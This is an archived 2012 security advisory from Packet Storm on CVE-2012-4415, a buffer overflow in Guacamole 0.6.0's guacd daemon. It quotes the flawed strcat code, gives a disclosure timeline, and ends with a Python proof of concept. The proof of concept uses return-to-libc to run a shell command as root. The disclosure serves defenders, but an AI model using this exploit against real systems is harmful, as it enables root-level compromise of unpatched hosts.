what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Guacamole 0.6.0 Buffer Overflow

Guacamole 0.6.0 Buffer Overflow
Posted Sep 25, 2012
Authored by Timo Juhani Lindfors

Guacamole 0.6.0 contains a trivial buffer overflow vulnerability that allows connected users to execute code with the privileges of the guacd daemon. In the Debian distribution the guacd 0.6.0-1 daemon runs as root and allows connections from unauthenticated users. However, it fortunately only listens on localhost by default. Proof of concept code included.

tags | exploit, overflow, root, proof of concept
systems | linux, debian
advisories | CVE-2012-4415
SHA-256 | 21c45827b31f9112a4a0c027ff900505880422add95028ba0827c3398244682f

Guacamole 0.6.0 Buffer Overflow

Change Mirror Download
Overview
========

"Guacamole is an HTML5 web application that provides access to desktop
environments using remote desktop protocols such as VNC or RDP. A
centralized server acts as a tunnel and proxy, allowing access to
multiple desktops through a web browser. No plugins are needed: the
client requires nothing more than a web browser supporting HTML5 and
AJAX."

-- http://guac-dev.org/

guacamole 0.6.0 contains a trivial buffer overflow vulnerability that
allows connected users to execute code with the privileges of the guacd
daemon. In the Debian distribution the guacd 0.6.0-1 daemon runs as root
and allows connections from unauthenticated users. However, it
fortunately only listens on localhost by default.

Analysis
========

The server part of guacamole consists of a web application written in
Java and a proxy daemon ("guacd") written in C. The proxy part parses
the guacamole protocol using the libguac library. This library contains
a trivial buffer overflow vulnerability. As you can see in the following
quote the code fails to validate the length of the user supplied input
before using strcpy to copy it to a fixed size buffer in stack:

guac_client_plugin* guac_client_plugin_open(const char* protocol) {

guac_client_plugin* plugin;

/* Reference to dlopen()'d plugin */
void* client_plugin_handle;

/* Client args description */
const char** client_args;

/* Pluggable client */
char protocol_lib[256] = "libguac-client-";

union {
guac_client_init_handler* client_init;
void* obj;
} alias;

/* Add protocol and .so suffix to protocol_lib */
strcat(protocol_lib, protocol);
strcat(protocol_lib, ".so");

/* Load client plugin */
client_plugin_handle = dlopen(protocol_lib, RTLD_LAZY);
if (!client_plugin_handle) {
guac_error = GUAC_STATUS_BAD_ARGUMENT;
guac_error_message = dlerror();
return NULL;


Timeline
========

2012-08-23 Vulnerability discovered and reported to upstream
2012-08-23 Upstream fixes the issue in http://guac-dev.org/trac/changeset/7dcefa744b4a38825619c00ae8b47e5bae6e38c0/libguac
2012-09-12 Fixed version (libguac 0.6.0-2) is uploaded to Debian
2012-09-19 Upstream releases 0.6.3 that includes the fix

Proof of concept
================

#!/usr/bin/python
# CVE-2012-4415: PoC for guacd buffer overflow vulnerability
#
# Copyright (c) 2012 Timo Juhani Lindfors <timo.lindfors@iki.fi>
#
# Allows arbitrary code execution on Debian i386 guacd 0.6.0-1 with
# default configuration. Uses return-to-libc to bypass non-executable
# stack.
#
import socket, struct
PROTOCOL_ADDRESS = 0xbf807e9f
SYSTEM_ADDRESS = 0xb76e7640
class GuacdPOC:
def __init__(self, command):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.connect(('localhost', 4822))
self.s("select")
self.c(",")
protocol = (command + "; " + "#" * 265)[:265]
protocol += struct.pack("L", PROTOCOL_ADDRESS)
protocol += struct.pack("L", SYSTEM_ADDRESS)
self.s(protocol)
self.c(";")
def s(self, x):
self.sock.send("%d.%s" % (len(x), x))
def c(self, x):
self.sock.send(x)
GuacdPOC("touch /tmp/owned")
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close